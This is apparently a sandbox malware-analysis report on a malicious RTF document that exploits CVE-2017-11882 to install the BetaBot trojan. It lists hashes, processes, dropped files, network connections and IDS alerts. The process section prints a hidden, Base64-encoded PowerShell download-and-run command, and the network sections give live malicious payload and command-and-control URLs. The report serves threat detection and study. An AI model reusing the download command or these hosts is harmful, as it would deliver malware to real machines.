analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

SPECIFICATION 088913.doc

Full analysis: https://app.any.run/tasks/0e17bb75-fc69-4f6b-8e7c-b8941ae8dd78
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: June 17, 2019, 02:02:34
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
exploit
CVE-2017-11882
opendir
loader
trojan
betabot
Indicators:
MIME: text/rtf
File info: Rich Text Format data, version 1, unknown character set
MD5:

F22EE37EBA0C8A9E8F547E39FB65A513

SHA1:

742F055F9B8E4CD608EC37441F45A10078650380

SHA256:

A07D0100535D2B2F77919B01AE9F3A5A73B3161B85AAD26360FECB4CCA7B440A

SSDEEP:

48:1Z6CLnzDXi5xokbzjEsTjten2HwREEEEEEEEEEPZKU:yCLPSxJFHY2eEEEEEEEEEEcU

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Loads dropped or rewritten executable

      • avantfirewall.exe (PID: 2660)

    • Application was dropped or rewritten from another process

      • avantfirewall.exe (PID: 2660)
      • nslookup.exe (PID: 1040)

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 2772)

    • Detected BetaBot Trojan

      • nslookup.exe (PID: 1040)
      • WINWORD.EXE (PID: 3332)
      • explorer.exe (PID: 3904)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 2540)

    • Changes internet zones settings

      • explorer.exe (PID: 3904)

    • Connects to CnC server

      • explorer.exe (PID: 3904)

    • Changes the autorun value in the registry

      • explorer.exe (PID: 3904)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2540)
      • avantfirewall.exe (PID: 2660)
      • explorer.exe (PID: 3904)
      • nslookup.exe (PID: 1040)

    • Executes PowerShell scripts

      • EQNEDT32.EXE (PID: 2772)

    • Reads internet explorer settings

      • EQNEDT32.EXE (PID: 2772)

    • Executed via WMI

      • CMd.exe (PID: 916)

    • Creates files in the user directory

      • powershell.exe (PID: 2540)
      • explorer.exe (PID: 3904)

    • Executed via COM

      • EQNEDT32.EXE (PID: 2772)

    • Creates files in the program directory

      • nslookup.exe (PID: 1040)
      • explorer.exe (PID: 3904)

    • Writes to a desktop.ini file (may be used to cloak folders)

      • explorer.exe (PID: 3904)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3332)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3332)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (100)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
42
Monitored processes
7
Malicious processes
6
Suspicious processes
0

Behavior graph

Click at the process to see the details
start #BETABOT winword.exe no specs eqnedt32.exe powershell.exe cmd.exe no specs avantfirewall.exe #BETABOT nslookup.exe #BETABOT explorer.exe

Process information

PID
CMD
Path
Indicators
Parent process
3332"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\SPECIFICATION 088913.doc.rtf"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2772"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
2540"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -noni -W Hidden -enc aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAHMAeQBzAHQAZQBtAC4AbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAGYAaQBsAGUAKAAiAGgAdAB0AHAAOgAvAC8AcwB0AGEAZAB0AG0AaQBzAHIALgBjAG8AbQAvAGYALwBkAG8AcABlAC8AZABvAHAAZQAuAGUAeABlACIALAAiACQAZQBuAHYAOgB0AGUAbQBwAFwAYQB2AGEAbgB0AGYAaQByAGUAdwBhAGwAbAAuAGUAeABlACIAKQApADsAC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
916CMd /c %TmP%\avantfirewall.exeC:\Windows\system32\CMd.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2660C:\Users\admin\AppData\Local\Temp\avantfirewall.exeC:\Users\admin\AppData\Local\Temp\avantfirewall.exe
CMd.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
1040"C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe
avantfirewall.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
nslookup
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3904C:\Windows\explorer.exeC:\Windows\explorer.exe
nslookup.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 582
Read events
1 129
Write events
0
Delete events
0

Modification events

No data
Executable files
6
Suspicious files
3
Text files
4
Unknown types
3

Dropped files

PID
Process
Filename
Type
3332WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVREC32.tmp.cvr —
MD5:—
SHA256:—
2540powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WJL3I3H0CRTSAFMLT4WN.temp —
MD5:—
SHA256:—
2660avantfirewall.exeC:\Users\admin\AppData\Local\Temp\nsq345.tmp —
MD5:—
SHA256:—
3904explorer.exeC:\Users\admin\AppData\Local\VirtualStore\Windows\System32\desktop.ini —
MD5:—
SHA256:—
2660avantfirewall.exeC:\Users\admin\AppData\Local\Temp\pvscsi.catcat
MD5:793404756D01BBC519E20DAE9BAAFA5B
SHA256:7BD506DD9B69FE23CC6632D56C04304B9AC6D3B9FA3F9F9692CEEFA5D462324B
3332WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:17222E7BED955763CB75EBDA153E0074
SHA256:EAEB163582F92B56C14963150DA7DBEA34565552F3D187A793BE19BEB0978882
2660avantfirewall.exeC:\Users\admin\AppData\Local\Temp\nsg394.tmp\Splash.dllexecutable
MD5:3F35F73787F0C3BB5E59445FB18ADE0D
SHA256:5570969D22A33C23B60C5F5536F781219E458A869B77B8DDE4A94CC124EE4DE6
2660avantfirewall.exeC:\Users\admin\AppData\Local\Temp\dousing.dllexecutable
MD5:899DF66ECC89A8B62A4E01E719790DAF
SHA256:B798C94ED8F6832B83FB5C6CA5C071DCAC11E363FBFD4CE34DC68FF02A77678C
2772EQNEDT32.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\pwe[1].htahtml
MD5:2578455E55A1637B7D8A292462EE95DE
SHA256:1ACDCDABFF42B9637EFD79895E6257AA3C0B5CEFD18C9040FDA15B568196E07C
2540powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:131DC75F6D4142CA9244945A91A71E8D
SHA256:F17C463C77B5DA9E795770A82E0A7FB1023023F44397F6E080721E9811B2A0C4
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
7
DNS requests
5
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3904
explorer.exe
GET
503
84.19.26.112:80
http://www.ckh-kleve.de/wp-admin/user/dan.exe
DE
html
1.07 Kb
malicious
2772
EQNEDT32.EXE
GET
200
66.85.173.18:80
http://stadtmisr.com/f/dope/pwe.hta
US
html
2.58 Kb
suspicious
3904
explorer.exe
GET
503
84.19.26.112:80
http://www.ckh-kleve.de/wp-admin/user/dan.exe
DE
html
1.07 Kb
malicious
3904
explorer.exe
GET
503
84.19.26.112:80
http://www.ckh-kleve.de/wp-admin/user/dan.exe
DE
html
1.07 Kb
malicious
2540
powershell.exe
GET
200
66.85.173.18:80
http://stadtmisr.com/f/dope/dope.exe
US
executable
363 Kb
suspicious
3904
explorer.exe
POST
200
89.223.29.52:80
http://zolaelectrics.com/bt/dope/logout.php
RU
binary
2.03 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2772
EQNEDT32.EXE
66.85.173.18:80
stadtmisr.com
SECURED SERVERS LLC
US
suspicious
3904
explorer.exe
89.223.29.52:80
zolaelectrics.com
Trader soft LLC
RU
malicious
3904
explorer.exe
40.81.11.194:80
update.microsoft.com
Microsoft Corporation
US
malicious
3904
explorer.exe
84.19.26.112:80
www.ckh-kleve.de
comtrance GmbH
DE
malicious
2540
powershell.exe
66.85.173.18:80
stadtmisr.com
SECURED SERVERS LLC
US
suspicious
—
—
84.19.26.112:80
www.ckh-kleve.de
comtrance GmbH
DE
malicious

DNS requests

Domain
IP
Reputation
stadtmisr.com
  • 66.85.173.18
suspicious
update.microsoft.com
  • 40.81.11.194
  • 40.91.94.203
whitelisted
zolaelectrics.com
  • 89.223.29.85
  • 89.223.26.74
  • 91.211.245.92
  • 89.223.29.52
malicious
www.ckh-kleve.de
  • 84.19.26.112
malicious

Threats

PID
Process
Class
Message
2772
EQNEDT32.EXE
Potentially Bad Traffic
ET POLICY Possible HTA Application Download
2772
EQNEDT32.EXE
Attempted User Privilege Gain
ET CURRENT_EVENTS SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl
2540
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2540
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
3904
explorer.exe
A Network Trojan was detected
ET TROJAN Win32/Neurevt.A/Betabot Check-in 4
3904
explorer.exe
A Network Trojan was detected
MALWARE [PTsecurity] Neurevt.A/Betabot Client Check-in
3904
explorer.exe
A Network Trojan was detected
ET TROJAN EXE Download Request To Wordpress Folder Likely Malicious
3904
explorer.exe
A Network Trojan was detected
AV TROJAN Possible infected Wordpress - Payload download attempt
3904
explorer.exe
Potentially Bad Traffic
ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile
3904
explorer.exe
A Network Trojan was detected
ET TROJAN EXE Download Request To Wordpress Folder Likely Malicious
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
SPECIFICATION 088913.doc